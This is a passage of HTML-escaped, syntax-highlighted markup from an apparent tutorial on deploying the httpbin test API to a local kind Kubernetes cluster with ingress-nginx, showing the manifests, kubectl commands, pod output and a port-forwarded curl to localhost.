\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAVAILABLE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAGE\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003edeployment.apps/ingress-nginx-controller\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e0\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e0\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e68\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                  \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eDESIRED\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eCURRENT\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eREADY\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAGE\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ereplicaset.apps/ingress-nginx-controller-5f748f78c8\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e         \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e         \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e0\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e68\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                       \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eCOMPLETIONS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eDURATION\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAGE\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ejob.batch/ingress-nginx-admission-create\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e22\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e68\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ejob.batch/ingress-nginx-admission-patch\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e35\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e68\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eOnce \u003ccode\u003eingress-nginx-controller\u003c/code\u003e is in \u003ccode\u003eRunning\u003c/code\u003e state you are read to go!\u003c/p\u003e\n\u003ch1\u003eDeploying your first app\u003c/h1\u003e\n\u003cp\u003eTo prove that the cluster is working correctly we will deploy\n\u003ca href=\"https://github.com/Kong/httpbin\"\u003ehttpbin\u003c/a\u003e which is a nice little API server\nso we can prove everything is working.\u003c/p\u003e\n\u003cp\u003eCreate a \u003ccode\u003ehttbin.yml\u003c/code\u003e file and paste this into it:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"default\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #6CB6FF\"\u003e---\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003eapiVersion\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ev1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003ekind\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eService\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003emetadata\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003elabels\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eapp\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eservice\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003espec\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eports\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttp\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e8000\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003etargetPort\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e8080\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eselector\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eapp\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #6CB6FF\"\u003e---\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003eapiVersion\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapps/v1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003ekind\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eDeployment\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003emetadata\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003espec\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ereplicas\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eselector\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ematchLabels\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eapp\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eversion\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ev1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003etemplate\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003emetadata\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003elabels\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eapp\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eversion\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ev1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003espec\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003econtainers\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eimage\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003edocker.io/mccutchen/go-httpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eimagePullPolicy\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eIfNotPresent\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003eports\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        - \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003econtainerPort\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e8080\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis is creating a couple of Kubernetes resources:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eService\u003c/code\u003e: This is exposing the port to the ingress\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eDeployment\u003c/code\u003e: This is actually launching the service\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSo we are not using the ingress yet but we can prove that we can launch the\nservice at least.  So apply those manifests:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapply\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-f\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttpbin.yml\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eservice/httpbin\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecreated\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003edeployment.apps/httpbin\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecreated\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eYou should see two pods come up.  You should wait for them to get into the\n\u003ccode\u003eRunning\u003c/code\u003e status:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003epod\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-o\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewide\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                      \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eREADY\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSTATUS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRESTARTS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAGE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eIP\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNODE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNOMINATED\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNODE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eREADINESS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eGATES\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ehttpbin-5c5494967-2z5wz\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRunning\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e0\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e48\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e10.244\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.3.3\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekind-multinode-worker3\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ehttpbin-5c5494967-9lf47\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRunning\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e0\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e72\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e10.244\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.1.2\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekind-multinode-worker\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eWe can now use port forwarding to access it. \u003ccode\u003ehttpbin\u003c/code\u003e is exposed on \u003ccode\u003e8000\u003c/code\u003e so\nlets create port \u003ccode\u003e9000\u003c/code\u003e on our host that forwards to it:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eport-forward\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eservice/httpbin\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e9000\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e:8000\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eForwarding\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003efrom\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e127.0\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.0.1:9000\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e -\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e80\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eForwarding\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003efrom\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [::1]:9000 -\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e 80\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eYou can access it via:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecurl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elocalhost:9000/get\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan 